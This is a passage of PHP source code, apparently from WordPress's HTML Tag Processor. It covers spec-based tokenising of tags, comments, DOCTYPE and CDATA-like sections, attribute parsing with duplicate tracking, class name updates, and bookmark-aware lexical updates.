			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
